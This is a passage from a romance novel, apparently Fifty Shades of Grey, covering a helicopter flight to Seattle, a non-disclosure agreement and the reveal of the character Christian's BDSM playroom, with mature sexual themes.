at the first floor, and he takes my hand and pulls me out. + +“What is it about elevators?” he mutters, more to himself than to me as he strides +across the lobby. I struggle to keep pace with him because my wits have been thoroughly, +royally, scattered all over the floor and walls of elevator three in the Heathman Hotel. + + +Chapter Six + + +Christian opens the passenger door to the black Audi SUV, and I clamber in. It’s a beast of +a car. He hasn’t mentioned the outburst of passion that exploded in the elevator. Should +I? Should we talk about it or pretend that it didn’t happen? It hardly seems real, my first +proper no-holds-barred kiss. As time ticks on, I assign it mythical, Arthurian legend, Lost +City of Atlantis status. It never happened, it never existed. Perhaps I imagined it all. No. + +I touch my lips, swollen from his kiss. It definitely happened. I am a changed woman. I +want this man, desperately, and he wanted me. + +I glance at him. Christian is his usual polite, slightly distant self. + +How confusing. + +He starts the engine and reverses out of his space in the parking lot. He switches on the +MP3 player. The car interior is filled with the sweetest, most magical music of two women +singing. Oh wow... all my senses are in disarray, so this is doubly affecting. It sends deli- +cious shivers up my spine. Christian pulls out on to SW Park Avenue, and he drives with +easy, lazy confidence. + +“What are we listening to?” + +“It’s the Flower Duet by Delibes, from the opera Lakme. Do you like it?” + +“Christian, it’s wonderful.” + + +“It is, isn’t it?” he grins, glancing at me. And for a fleeting moment, he seems his age; +young, carefree, and heart-stoppingly beautiful. Is this the key to him? Music? I sit and +listen to the angelic voices, teasing and seducing me. + +“Can I hear that again?” + +“Of course.” Christian pushes a button, and the music is caressing me once more. It’s +a gentle, slow, sweet, and sure assault on my aural senses. + +“You like classical music?” I ask, hoping for a rare insight into his personal prefer- +ences. + +“My taste is eclectic, Anastasia, everything from Thomas Tallis to the Kings of Leon. + +It depends on my mood. You?” + +“Me too. Though I don’t know who Thomas Tallis is.” + +He turns and gazes at me briefly before his eyes are back on the road. + +“I’ll play it for you sometime. He’s a sixteenth century British composer. Tudor, +church choral music.” Christian grins at me. “Sounds very esoteric, I know, but it’s also +magical, Anastasia.” + +He presses a button, and the Kings of Leon start singing. Hmm... this I know. Sex on +Fire. How appropriate. The music is interrupted by the sound of a cell phone ringing over +the MP3 speakers. Christian hits a button on the steering wheel. + +“Grey,” he snaps. He’s so brusque. + +“Mr. Grey, it’s Welch here. I have the information you require.” A rasping, disembod- +ied voice comes over the speakers. + +“Good. Email it to me. Anything to add?” + +“No sir.” + +He presses the button, then the call ceases and the music is back. No goodbye or +thanks. I’m so glad that I never seriously entertained the thought of working for him. I +shudder at the very idea. He’s just too controlling and cold with his employees. The music +cuts off again for the phone. + +“Grey.” + +“The NDA has been emailed to you, Mr. Grey.” A woman’s voice. + +“Good. That’s all, Andrea.” + +“Good day, sir.” + +Christian hangs up by pressing a button on the steering wheel. The music is on very +briefly when the phone rings again. Holy hell, is this his life, constant nagging phone calls? +“Grey,” he snaps. + +“Hi, Christian, d’you get laid?” + +“Hello, Elliot - I’m on speaker phone, and I’m not alone in the car,” Christian sighs. +“Who’s with you?” + +Christian rolls his eyes. + +“Anastasia Steele.” + +“Hi, Ana!” + +Ana! + +“Hello, Elliot.” + +“Heard a lot about you,” Elliot murmurs huskily. Christian frowns. + +“Don’t believe a word Kate says.” + + +Elliot laughs. + +“I’m dropping Anastasia off now.” Christian emphasizes my name. “Shall I pick you + +up?” + +“Sure.” + +“See you shortly.” Christian hangs up, and the music is back. + +“Why do you insist on calling me Anastasia?” + +“Because it’s your name.” + +“I prefer Ana.” + +“Do you now?” he murmurs. + +We are almost at my apartment. It’s not taken long. + +“Anastasia,” he muses. I scowl at him, but he ignores my expression. “What happened +in the elevator - it won’t happen again, well, not unless it’s premeditated.” + +He pulls up outside my duplex. I belatedly realize he’s not asked me where I live - yet +he knows. But then he sent the books, of course he knows where I live. What able, cell- +phone-tracking, helicopter owning, stalker wouldn’t. + +Why won’t he kiss me again? I pout at the thought. I don’t understand. Honestly, +his surname should be Cryptic, not Grey. He climbs out of the car, walking with easy, +long-legged grace round to my side to open the door, ever the gentleman - except perhaps +in rare, precious moments in elevators. I flush at the memory of his mouth on mine, and +the thought that I’d been unable to touch him enters my mind. I wanted to run my fingers +through his decadent, untidy hair, but I’d been unable to move my hands. I am retrospec- +tively frustrated. + +“I liked what happened in the elevator,” I murmur as I climb out of the car. I’m not sure +if I hear an audible gasp, but I choose to ignore it and head up the steps to the front door. + +Kate and Elliot are sitting at our dining table. The fourteen-thousand-dollar books +have disappeared. Thank heavens. I have plans for them. She has the most un-Kate ridicu- +lous grin on her face, and she looks mussed up in a sexy kind of way. Christian follows me +into the living area, and in spite of her l’ve-been-having-a-good-time-all-night grin, Kate +eyes him suspiciously. + +“Hi Ana.” She leaps up to hug me, then holds me at arm’s length so she can examine +me. She frowns and turns to Christian. + +“Good morning, Christian,” she says, and her tone is a little hostile. + +“Miss Kavanagh,” he says in his stiff formal way. + +“Christian, her name is Kate,” Elliot grumbles. + +“Kate.” Christian gives her a polite nod and glares at Elliot who grins and rises to hug +me too. + +“Hi, Ana,” he smiles, his blue eyes twinkling, and I like him immediately. He’s obvi- +ously nothing like Christian, but then they’re adopted brothers. + +“Hi, Elliot,” I smile at him, and I’m aware that I’m biting my lip. + +“Elliot, we’d better go.” Christian says mildly. + +“Sure.” He turns to Kate and pulls her into his arms and gives her a long lingering kiss. + +Jeez... get a room. I stare at my feet, embarrassed. I glance up at Christian, and he’s +watching me intently. I narrow my eyes at him. Why can’t you kiss me like that? Elliot + + +continues to kiss Kate, sweeping her off her feet and dipping her in a dramatic hold so that +her hair touches the ground as he kisses her hard. + +“Laters, baby,” he grins. + +Kate just melts. I’ve never seen her melt before - the words comely and compliant +come to mind. Compliant Kate, boy, Elliot must be good. Christian rolls his eyes and +stares down at me, his expression unreadable, although maybe he’s mildly amused. He +tucks a stray strand of my hair that has worked its way free from my ponytail behind my +ear. My breath hitches at the contact, and I lean my head slightly into his fingers. His eyes +soften, and he runs his thumb across my lower lip. My blood sears in my veins. And all +too quickly, his touch is gone. + +“Laters, baby,” he murmurs, and I have to laugh because it’s so unlike him. But even +though I know he’s being irreverent, the endearment tugs at something deep inside me. + +“I’ll pick you up at eight.” He turns to leave, opening the front door and stepping out +on to the porch. Elliot follows him to the car but turns and blows Kate another kiss, and I +feel an unwelcome pang of jealousy. + +“So, did you?” Kate asks as we watch them climb into the car and drive off, the burning +curiosity evident in her voice. + +“No,” I snap irritably, hoping that will halt the questions. We head back into the apart- +ment. “You obviously did, though.” I can’t contain my envy. Kate always manages to +ensnare men. She is irresistible, beautiful, sexy, funny, forward... all the things that I’m +not. But her answering grin is infectious. + +“And I’m seeing him again this evening.” She claps her hands and jumps up and down +like a small child. She cannot contain her excitement and happiness, and I can’t help but +feel happy for her. A happy Kate... this is going to be interesting. + +“Christian is taking me to Seattle this evening.” + +“Seattle?” + +“Yes.” + +“Maybe you will then?” + +“Oh, I hope so.” + +“You like him then?” + +“Yes.” + +“Like him enough to... ?” + +“Yes.” + +She raises her eyebrows. + +“Wow. Ana Steele, finally falling for a man, and it’s Christian Grey - hot, sexy bil- +lionaire.” + +“Oh yeah - it’s all about the money.” I smirk, and we both fall into a fit of giggles. + +“Is that a new blouse?” she asks, and I let her have all the unexciting details about my +night. + +“Has he kissed you yet?” she asks as she makes coffee. + +I blush. + +“Once.” + +“Once!” she scoffs. + +I nod, rather shame faced. + + +“He’s very reserved.” + +She frowns. + +“That’s odd.” + +“I don’t think odd covers it really,” I murmur. + +“We need to make sure you’re simply irresistible for this evening,” she says with de- +termination. + +Oh no... this sounds like it will be time consuming, humiliating, and painful. + +“I have to be at work in an hour.” + +“I can work with that timeframe. Come on.” Kate grabs my hand and takes me into +her bedroom. + + +The day drags at Clayton’s even though we’re busy. We’ve hit the summer season, so I +have to spend two hours restocking the shelves once the shop is closed. It’s mindless work, +and it gives me too much time to think. I’ve not really had a chance all day. + +Under Kate’s tireless and frankly intrusive instruction, my legs and underarms are +shaved to perfection, my eyebrows plucked, and I am buffed all over. It has been a most +unpleasant experience. But she assures me that this is what men expect these days. What +else will he expect? I have to convince Kate that this is what I want to do. For some +strange reason, she doesn’t trust him, maybe because he’s so stiff and formal. She says she +can’t put her finger on it, but I have promised to text her when I arrive in Seattle. I haven’t +told her about the helicopter, she’d freak. + +I also have the Jose issue. He’s left three messages and seven missed calls on my cell. +He’s also called home twice. Kate has been very vague as to where I am. He’ll know she’s +covering for me. Kate doesn’t do vague. But I have decided to let him stew. I’m still too +angry with him. + +Christian mentioned some kind of written paperwork, and I don’t know if he was jok- +ing or if I’m going to have to sign something. It’s so frustrating trying to guess. And on +top of all the angst, I can barely contain my excitement or my nerves. Tonight’s the night! +After all this time, am I ready for this? My inner goddess glares at me, tapping her small +foot impatiently. She’s been ready for this for years, and she’s ready for anything with +Christian Grey, but I still don’t understand what he sees in me... mousey Ana Steele - it +makes no sense. + +He is punctual, of course, and waiting for me when I leave Clayton’s. He climbs out +of the back of the Audi to open the door and smiles warmly at me. + +“Good evening, Miss Steele,” he says. + +“Mr. Grey.” I nod politely to him as I climb into the backseat of the car. Taylor is sit- +ting in the driver’s seat. + +“Hello, Taylor,” I say. + +“Good evening, Miss Steele,” his voice is polite and professional. Christian climbs in +the other side and clasps my hand, giving it a gentle squeeze that I feel all the way though +my body. + +“How was work?” he asks. + +“Very long,” I reply, and my voice is husky, too low, and full of need. + + +“Yes, it’s been a long day for me too.” His tone is serious. + +“What did you do?” I manage. + +“I went hiking with Elliot.” His thumb strokes my knuckles, back and forth, and my +heart skips a beat as my breathing accelerates. How does he do this to me? He’s only +touching a very small area of my body, and the hormones are flying. + +The drive to the heliport is short and, before I know it, we arrive. I wonder where the +fabled helicopter might be. We’re in a built-up area of the city and even I know helicopters +need space to take off and land. Taylor parks, climbs out, and opens my car door. Christian +is beside me in an instant and takes my hand again. + +“Ready?” he asks. I nod and want to say for anything, but I can’t articulate the words +as I’m too nervous, too excited. + +“Taylor.” He nods curtly at his driver, and we head into the building, straight to a set +of elevators. Elevator! The memory of our kiss this morning comes back to haunt me. + +I have thought of nothing else all day. Daydreaming at the register at Clayton’s. Twice +Mr. Clayton had to shout my name to bring me back to Earth. To say I’ve been distracted +would be the understatement of the year. Christian glances down at me, a slight smile on +his lips. Ha! He’s thinking about it too. + +“It’s only three floors,” he says dryly, his gray eyes dancing with amusement. He’s +telepathic surely. It’s spooky. + +I try to keep my face impassive as we enter the elevator. The doors close, and it’s there, +the weird electrical attraction crackling between us, enslaving me. I close my eyes in a +vain attempt to ignore it. He tightens his grip on my hand, and five seconds later the doors +open on to the roof of the building. And there it is, a white helicopter with the name Grey +Enterprises Holdings Inc. written in blue with the company logo on the side. Surely this is +misuse of Company property. + +He leads me to a small office where an old timer sits behind the desk. + +“Here’s your flight plan, Mr. Grey. All external checks are done. It’s ready and waiting +sir. You’re free to go.” + +“Thank you, Joe.” Christian smiles warmly at him. + +Oh. Someone deserving of the polite treatment from Christian, perhaps he’s not an +employee. I stare at the old guy in awe. + +“Let’s go,” Christian says, and we make our way toward the helicopter. When we’re +up close, it’s much bigger than I thought. I expected it to be a roadster version for two, +but it has at least seven seats. Christian opens the door and directs me to one of the seats +at the very front. + +“Sit - don’t touch anything,” he orders as he clambers in behind me. + +He shuts the door with a slam. I’m glad that the area is floodlit, otherwise I’d find it +difficult to see inside the small cockpit. I sit down in my allotted seat, and he crouches +beside me to strap me into the harness. It’s a four-point harness with all the straps con- +necting to one central buckle. He tightens both of the upper straps, so I can hardly move. +He’s so close and intent on what he’s doing. If I could only lean forward, my nose would +be in his hair. He smells, clean, fresh, heavenly, but I’m fastened securely into my seat and +effectively immobile. He glances up and smiles, like he’s enjoying his usual private joke, + + +his gray eyes heated. He’s so tantalizingly close. I hold my breath as he pulls at one of the +upper straps. + +“You’re secure, no escaping,” he whispers, his eyes are scorching. “Breathe, Anasta- +sia,” he adds softly. Reaching up, he caresses my cheek, running his long fingers down to +my chin which he grasps between his thumb and forefinger. He leans forward and plants +a brief, chaste kiss on my lips, leaving me reeling, my insides clenching at the thrilling, +unexpected touch of his lips. + +“I like this harness,” he whispers. + +What? + +He sits down beside me and buckles himself into his seat, then begins a protracted pro- +cedure of checking gauges and flipping switches and buttons from the mind-boggling array +of dials and lights and switches in front of me. Little lights wink and flash from various +dials, and the whole of the instrument panel lights up. + +“Put your cans on,” he says, pointing to a set of headphones in front of me. I pop them +on, and the rotor blades start. They are deafening. He puts his headphones on and contin- +ues flipping various switches. + +“I’m just going through all the pre-flight checks.” Christian’s disembodied voice is in +my ears through the headphones. I turn and grin at him. + +“Do you know what you are doing?” I ask. He turns and smiles at me. + +“I’ve been a fully qualified pilot for four years, Anastasia, you’re safe with me.” He +gives me a wolfish grin. “Well, while we’re flying,” he adds and winks at me. + +Winking... Christian! + +“Are you ready?” + +I nod wide eyed. + +“Okay, tower. PDX this is Charlie Tango Golf - Golf Echo Hotel, cleared for take-off. +Please confirm, over.” + +“Charlie Tango - you are clear. PDX to call, proceed to one four thousand, heading +zero one zero, over. ” + +“Roger tower, Charlie Tango set, over and out. Here we go,” he adds to me, and the +helicopter rises slowly and smoothly into the air. + +Portland disappears in front us as we head into US airspace, though my stomach re- +mains firmly in Oregon. Whoa! All the bright lights shrink until they are twinkling sweetly +below us. It’s like looking out from inside a fish bowl. Once we’re higher, there really is +nothing to see. It’s pitch black, not even the moon to shed any light on our journey. How +can he see where we’re going? + +“Eerie isn’t it?” Christian’s voice is in my ears. + +“How do you know you’re going the right way?” + +“Here.” He points his long index finger at one of the gauges, and it shows an electronic +compass. “This is an EC135 Eurocopter. One of the safest in its class. It’s equipped for +night flight.” He glances and grins at me. + +“There’s a helipad on top of the building I live in. That’s where we’re heading.” + +Of course there’s a helipad where he lives. I am so out of my league here. His face +is softly illuminated by the lights on the instrument panel. He’s concentrating hard, and +he’s continually glancing at the various dials in front of him. I drink in his features from + + +beneath my lashes. He has a beautiful profile. Straight nose, square jawed - I’d like to +run my tongue along his jaw. He hasn’t shaved, and his stubble makes the prospect doubly +tempting. Hmm... I’d like to feel how rough it is beneath my tongue, my fingers, against +my face. + +“When you fly at night, you fly blind. You have to trust the instrumentation,” he inter- +rupts my erotic reverie. + +“How long will the flight be?” I manage breathlessly. I wasn’t thinking about sex at +all, no, no way. + +“Less than an hour, the wind is in our favor.” + +Hmm, less than an hour to Seattle. . . that’s not bad going, no wonder we’re flying. + +I have less than an hour before the big reveal. All the muscles clench deep in my belly. +I have a serious case of butterflies. They are flourishing in my stomach. Holy shit, what +has he got in store for me? + +“You okay, Anastasia?” + +“Yes.” My answer is short, clipped, squeezed out through my nerves. + +I think he smiles, but it’s difficult to tell in the darkness. Christian flicks yet another +switch. + +“PDX this is Charlie Tango now at one four thousand, over.” He exchanges informa- +tion with air traffic control. It all sounds very professional to me. I think we’re moving +from Portland’s air space to Seattle International Airport’s. + +“Understood Sea-Tac, standing by over and out.” + +“Look, over there.” He points to a small pin-point of light in the far distance. “That’s +Seattle.” + +“Do you always impress women this way? Come and fly in my helicopter?” I ask, +genuinely interested. + +“I’ve never bought a girl up here, Anastasia. It’s another first for me.” His voice is +quiet, serious. + +Oh, that was an unexpected answer. Another first? Oh the sleeping thing, perhaps? + +“Are you impressed?” + +“I’m awed, Christian.” + +He smiles. + +“Awed?” And for a brief moment, he’s his age again. + +I nod. + +“You’re just so. . . competent.” + +“Why, thank you, Miss Steele,” he says politely. I think he’s pleased, but I’m not sure. + +We ride into the dark night in silence for a while. The bright spot that is Seattle is +slowly getting bigger. + +“Sea-Tac tower to Charlie Tango. Flight plan to Escala in place. Please proceed. And +standby. Over.” + +“This is Charlie Tango, understood Sea-Tac. Standing by, over and out.” + +“You obviously enjoy this,” I murmur. + +“What?” He glances at me. He looks quizzical in the half-light of the instruments. + +“Flying,” I reply. + + +“It requires control and concentration... how could I not love it? Though, my favorite +is soaring.” + +“Soaring?” + +“Yes. Gliding to the layperson. Gliders and helicopters - I fly them both.” + +“Oh.” Expensive hobbies. I remember him telling me during the interview. I like read- +ing and occasionally going to the movies. I am out of my depth here. + +“Charlie Tango come in please, over.” The disembodied voice of air traffic control +interrupts my reverie. Christian answers, sounding in control and confident. + +Seattle is getting closer. We are on the very outskirts now. Wow! It looks absolutely +stunning. Seattle at night, from the sky... + +“Looks good, doesn’t it?” Christian murmurs. + +I nod enthusiastically. It looks otherworldly - unreal - and I feel like I’m on a giant +film set, Jose’s favorite film maybe, ‘Bladerunner.’ The memory of Jose’s attempted kiss +haunts me. I’m beginning to feel a bit cruel not calling him back. He can wait until tomor- +row... surely. + +“We’ll be there in a few minutes,” Christian mutters, and suddenly my blood is pound- +ing in my ears as my heartbeat accelerates and adrenaline spikes through my system. He +starts talking to air traffic control again, but I am no longer listening. Oh my... I think I’m +going to faint. My fate is in his hands. + +We are now flying amongst the buildings, and up ahead I can see a tall skyscraper with +a helipad on top. The word Escala is painted in white on top of the building. It’s getting +nearer and nearer, bigger and bigger... like my anxiety. God, I hope I don’t let him down. + +He’ll find me lacking in some way. I wish I’d listened to Kate and borrowed one of her +dresses, but I like my black jeans, and I’m wearing a soft mint green shirt and Kate’s black +jacket. I look smart enough. I grip the edge of my seat tighter and tighter. I can do this. I +can do this. I chant this mantra as the skyscraper looms below us. + +The helicopter slows and hovers, and Christian sets it down on the helipad on top of the +building. My heart is in my mouth. I can’t decide if it’s from nervous anticipation, relief +that we’ve arrived alive, or fear that I will fail in some way. He switches the ignition off +and the rotor blades slow and quiet until all I hear is the sound of my own erratic breathing. +Christian takes his headphones off, and reaches across and pulls mine off too. + +“We’re here,” he says softly. + +His look is so intense, half in shadow and half in the bright white light from the land- +ing lights. Dark knight and white knight, it’s a fitting metaphor for Christian. He looks +strained. His jaw is clenched and his eyes are tight. He unfastens his seatbelt and reaches +over to unbuckle mine. His face is inches from mine. + +“You don’t have to do anything you don’t want to do. You know that don’t you?” His +tone is so earnest, desperate even, his gray eyes impassioned. He takes me by surprise. + +“I’d never do anything I didn’t want to do, Christian.” And as I say the words, I don’t +quite feel their conviction because at this moment in time - I’d probably do anything for +this man seated beside me. But this does the trick. He’s mollified. + +He eyes me warily for a moment and somehow, even though he’s so tall, he manages +to ease his way gracefully to the door of the helicopter and open it. He jumps out, waiting +for me to follow, and takes my hand as I clamber down on to the helipad. It’s very windy + + +on top of the building, and I’m nervous about the fact that I’m standing at least thirty stories +high in an unenclosed space. Christian wraps his arm around my waist, pulling me tightly +against him. + +“Come,” he shouts above the noise of the wind. He drags me over to an elevator shaft +and, after tapping a number into a keypad, the doors open. It’s warm inside and all mir- +rored glass. I can see Christian to infinity everywhere I look, and the wonderful thing is, +he’s holding me to infinity too. Christian taps another code into the keypad, then the doors +close and the elevator descends. + +Moments later, we’re in an all-white foyer. In the middle is a round, dark wood table, +and on it is an unbelievably huge bunch of white flowers. On the walls there are paintings, +everywhere. He opens two double doors, and the white theme continues through the wide +corridor and directly opposite where a palatial room opens up. It’s the main living area, +double height. Huge is too small a word for it. The far wall is glass and leads on to a bal- +cony that overlooks Seattle. + +To the right is an imposing ‘U’ shaped sofa that could sit ten adults comfortably. It fac- +es a state-of-the-art stainless steel - or maybe platinum for all I know - modern fireplace. +The fire is lit and flaming gently. On the left beside us, by the entryway, is the kitchen area. +All white with dark wood worktops and a large breakfast bar which seats six. + +Near the kitchen area, in front of the glass wall, is a dining table surrounded by sixteen +chairs. And tucked in the corner is a full size, shiny black grand piano. Oh yes... he prob- +ably plays the piano too. There is art of all shapes and sizes on all the walls. In fact, this +apartment looks more like a gallery than a place to live. + +“Can I take your jacket?” Christian asks. I shake my head. I’m still cold from the wind +on the helipad. + +“Would you like a drink?” he asks. I blink at him. After last night! Is he trying to be +funny? For one second, I think about asking for a margarita - but I don’t have the nerve. + +“I’m going to have a glass of white wine, would you like to join me?” + +“Yes, please,” I murmur. + +I am standing in this enormous room feeling out of place. I walk over to the glass wall, +and I realize that the lower half of the wall opens concertina-style on to the balcony. Se- +attle is lit up and lively in the background. I walk back to the kitchen area - it takes a few +seconds, it’s so far from the glass wall - and Christian is opening a bottle of wine. He’s +removed his jacket. + +“Pouilly Fume okay with you?” + +“I know nothing about wine, Christian. I’m sure it will be fine.” My voice is soft and +hesitant. My heart is thumping. I want to run. This is seriously rich. Seriously over-the- +top Bill Gates style wealthy. What am I doing here? You know very well what you’re doing +here - my subconscious sneers at me. Yes, I want to be in Christian Grey’s bed. + +“Here.” He hands me a glass of wine. Even the glasses are rich... heavy, contempo- +rary, crystal. I take a sip, and the wine is light, crisp, and delicious. + +“You’re very quiet, and you’re not even blushing. In fact - I think this is the palest I’ve +ever seen you, Anastasia,” he murmurs. “Are you hungry?” + +I shake my head. Not for food. + +“It’s a very big place you have here.” + + +“Big?” + +“Big.” + +“It’s big,” he agrees, and his eyes glow with amusement. I take another sip of wine. + +“Do you play?” I point my chin at the piano. + +“Yes.” + +“Well?” + +“Yes.” + +“Of course you do. Is there anything you can’t do well?” + +“Yes. . . a few things.” He takes a sip of his wine. He doesn’t take his eyes off me. I feel +them following me as I turn and glance around this vast room. Room is the wrong word. + +It’s not a room - it’s a mission statement. + +“Do you want to sit?” + +I nod, and he takes my hand and leads me to the large off-white couch. As I sit, I’m +struck by the fact that I feel like Tess Durbeyfield looking at the new house that belongs to +the notorious Alec D’Urberville. The thought makes me smile. + +“What’s so amusing?” He sits down beside me, turning to face me. He rests his head +on his right hand, his elbow propped on the back of the couch. + +“Why did you give me Tess of the D’Urbervilles specifically?” I ask. Christian stares +at me for a moment. I think he’s surprised by my question. + +“Well, you said you liked Thomas Hardy.” + +“Is that the only reason?” Even I can hear the disappointment in my voice. His mouth +presses into a hard line. + +“It seemed appropriate. I could hold you to some impossibly high ideal like Angel +Clare or debase you completely like Alec D’Urberville,” he murmurs, and his gray eyes +flash dark and dangerous. + +“If there are only two choices, I’ll take the debasement.” I whisper, gazing at him. My +subconscious is staring at me in awe. He gasps. + +“Anastasia, stop biting your lip, please. It’s very distracting. You don’t know what +you’re saying.” + +“That’s why I’m here.” + +He frowns. + +“Yes. Would you excuse me a moment?” He disappears through a wide doorway on +the far side of the room. He’s gone for a couple of minutes and returns with a document. + +“This is a non-disclosure agreement.” He shrugs and has the grace to look a little em- +barrassed. “My lawyer insists on it.” He hands it to me. I’m completely bemused. “If +you’re going for option two, debasement, you’ll need to sign this.” + +“And if I don’t want to sign anything?” + +“Then it’s Angel Clare high ideals, well, for most of the book anyway.” + +“What does this agreement mean?” + +“It means you cannot disclose anything about us. Anything, to anyone.” + +I stare at him in disbelief. Holy shit. It’s bad, really bad, and now I’m very curious to +know. + +“Okay. I’ll sign.” + +He hands me a pen. + + +“Aren’t you even going to read it?” + +“No.” + +He frowns. + +“Anastasia, you should always read anything you sign,” he admonishes me. + +“Christian, what you fail to understand is that I wouldn’t talk about us to anyone, +anyway. Even Kate. So it’s immaterial whether I sign an agreement or not. If it means so +much to you, or your lawyer. . . whom you obviously talk to, then fine. I’ll sign.” + +He gazes down at me, and he nods gravely. + +“Fair point well made, Miss Steele.” + +I lavishly sign on the dotted line of both copies and hand one back to him. Folding the +other, I place it my purse and take a large swig of my wine. I’m sounding so much braver +than I’m actually feeling. + +“Does this mean you’re going to make love to me tonight, Christian?” Holy shit. Did +I just say that? His mouth drops open slightly, but he recovers quickly. + +“No, Anastasia it doesn’t. Firstly, I don’t make love. I fuck... hard. Secondly, there’s +a lot more paperwork to do, and thirdly, you don’t yet know what you’re in for. You could +still run for the hills. Come, I want to show you my playroom.” + +My mouth drops open. Fuck hard! Holy shit, that sounds so... hot. But why are we +looking at a playroom? I am mystified. + +“You want to play on your Xbox?” I ask. He laughs, loudly. + +“No, Anastasia, no Xbox, no Playstation. Come.” He stands, holding out his hand. I let +him lead me back out to the corridor. On the right of the double doors, where we came in, +another door leads to a staircase. We go up to the second floor and turn right. Producing a +key from his pocket, he unlocks yet another door and takes a deep breath. + +“You can leave anytime. The helicopter is on stand-by to take you whenever you want +to go, you can stay the night and go home in the morning. It’s fine whatever you decide.” + +“Just open the damn door, Christian.” + +He opens the door and stands back to let me in. I gaze at him once more. I so want to +know what’s in here. Taking a deep breath I walk in. + +And it feels like I’ve time-traveled back to the sixteenth century and the Spanish In- +quisition. + +Holy fuck. + + +Chapter Seven + + +The first thing I notice is the smell; leather, wood, polish with a faint citrus scent. It’s very +pleasant, and the lighting is soft, subtle. In fact, I can’t see the source, but it’s around the +cornice in the room, emitting an ambient glow. The walls and ceiling are a deep, dark bur- +gundy, giving a womb-like effect to the spacious room, and the floor is old, old varnished +wood. There is a large wooden cross like an X fastened to the wall facing the door. It’s +made of high-polished mahogany, and there are restraining cuffs on each corner. Above it +is an expansive iron grid suspended from the ceiling, eight-foot square at least, and from it +hang all manner of ropes, chains, and glinting shackles. By the door, two long, polished, +ornately carved poles, like spindles from a banister but longer, hang like curtain rods across +the wall. From them swing a startling assortment of paddles, whips, riding crops, and +funny-looking feathery implements. + +Beside the door stands a substantial mahogany chest of drawers, each drawer slim as if +designed to contain specimens in a crusty old museum. I wonder briefly what the drawers +actually do hold. Do I want to know? In the far corner is an oxblood leather padded bench, +and fixed to the wall beside it is a wooden, polished rack that looks like a pool or billiard +cue holder, but on closer inspection, it holds canes of varying lengths and widths. There’s +a stout six-foot-long table in the opposite corner - polished wood with intricately carved +legs - and two matching stools underneath. + + +But what dominates the room is a bed. It’s bigger than king-size, an ornately carved +rococo four-poster with a flat top. It looks late nineteenth century. Under the canopy, I can +see more gleaming chains and cuffs. There is no bedding... just a mattress covered in red +leather and red satin cushions piled at one end. + +At the foot of the bed, set apart a few feet, is a large oxblood chesterfield couch, just +stuck in the middle of the room facing the bed. An odd arrangement... to have a couch +facing the bed, and I smile to myself - I’ve picked on the couch as odd, when really it’s the +most mundane piece of furniture in the room. I glance up and stare at the ceiling. There are +karabiners all over the ceiling at odd intervals. I vaguely wonder what they’re for. Weirdly, +all the wood, dark walls, moody lighting, and oxblood leather makes the room kind of soft +and romantic... I know it’s anything but, this is Christian’s version of soft and romantic. + +I turn, and he’s regarding me intently as I knew he would be, his expression completely +unreadable. I walk further into the room, and he follows me. The feathery thing has me +intrigued. I touch it hesitantly. It’s suede, like a small cat-of-nine-tails but bushier, and +there are very small plastic beads on the end. + +“It’s called a flogger,” Christian’s voice is quiet and soft. + +Aflogger... hmm. I think I’m in shock. My subconscious has emigrated or been struck +dumb or simply keeled over and expired. I am numb. I can observe and absorb but not ar- +ticulate my feelings about all this, because I’m in shock. What is the appropriate response +to finding out a potential lover is a complete freaky sadist or masochist? Fear... yes... that +seems to be the over-riding feeling. I recognize it now. But weirdly not of him - I don’t +think he’d hurt me, well, not without my consent. So many questions cloud my mind. + +Why? How? When? How often? Who? I walk toward the bed and run my hands down +one of the intricately carved posts. The post is very sturdy, the craftsmanship outstanding. + +“Say something,” Christian commands, his voice deceptively soft. + +“Do you do this to people or do they do it to you?” + +His mouth quirks up, either amused or relieved. + +“People?” He blinks a couple of times as he considers his answer. “I do this to women +who want me to.” + +I don’t understand. + +“If you have willing volunteers, why am I here?” + +“Because I want to do this with you, very much.” + +“Oh,” I gasp. Why? + +I wander to the far corner of the room and pat the waist high padded bench and run my +fingers over the leather. He likes to hurt women. The thought depresses me. + +“You’re a sadist?” + +“I’m a Dominant.” His eyes are a scorching gray, intense. + +“What does that mean?” I whisper. + +“It means I want you to willingly surrender yourself to me, in all things.” + +I frown at him as I try to assimilate this idea. + +“Why would I do that?” + +“To please me,” he whispers as he cocks his head to one side, and I see a ghost of a +smile. + + +Please him! He wants me to please him! I think my mouth drops open. Please Chris- +tian Grey. And I realize, in that moment, that yes, that’s exactly what I want to do. I want +him to be damned delighted with me. It’s a revelation. + +“In very simple terms, I want you to want to please me,” he says softly. His voice is +hypnotic. + +“How do I do that?” My mouth is dry, and I wish I had more wine. Okay, I understand +the pleasing bit, but I am puzzled by the soft-boudoir-Elizabethan-torture set up. Do I want +to know the answer? + +“I have rules, and I want you to comply with them. They are for your benefit and for +my pleasure. If you follow these rules to my satisfaction, I shall reward you. If you don’t, + +I shall punish you, and you will learn,” he whispers. I glance at the rack of canes as he +says this. + +“And where does all this fit in?” I wave my hand in the general direction of the room. + +“It’s all part of the incentive package. Both reward and punishment.” + +“So you’ll get your kicks by exerting your will over me.” + +“It’s about gaining your trust and your respect, so you’ll let me exert my will over you. + +I will gain a great deal of pleasure, joy, even in your submission. The more you submit, the +greater my joy - it’s a very simple equation.” + +“Okay, and what do I get out of this?” + +He shrugs and looks almost apologetic. + +“Me,” he says simply. + +Oh my. Christian rakes his hand through his hair as he gazes at me. + +“You’re not giving anything away, Anastasia,” he murmurs, exasperated. “Let’s go +back downstairs where I can concentrate better. It’s very distracting having you in here.” + +He holds his hand out to me, and now I’m hesitant to take it. + +Kate had said he was dangerous, she was so right. How did she know? He’s danger- +ous to my health, because I know I’m going to say yes. And part of me doesn’t want to. + +Part of me wants to run screaming from this room and all it represents. I am so out of my +depth here. + +“I’m not going to hurt you, Anastasia.” His gray eyes implore, and I know he speaks +the truth. I take his hand, and he leads me out of the door. + +“If you do this, let me show you.” Rather than going back downstairs, he turns right +out of the playroom, as he calls it, and down a corridor. We pass several doors until we +reach the one at the end. Beyond it is a bedroom with a large double bed, all in white... +everything, furniture, walls, bedding. It’s sterile and cold but with the most glorious view +of Seattle through the glass wall. + +“This will be your room. You can decorate it how you like, have whatever you like in +here.” + +“My room? You’re expecting me to move in?” I can’t hide the horror in my voice. + +“Not full time. Just say, Friday evening through Sunday. We have to talk about all that, +negotiate. If you want to do this,” he adds, his voice quiet and hesitant. + +“I’ll sleep here?” + +“Yes.” + +“Not with you.” + + +“No. I told you, I don’t sleep with anyone, except you, when you’re stupefied with +drink.” His eyes are reprimanding. + +My mouth presses in a hard line. This is what I cannot reconcile. Kind, caring Chris- +tian, who rescues me from inebriation and holds me gently while I’m throwing up into the +azaleas, and the monster who possesses whips and chains in a special room. + +“Where do 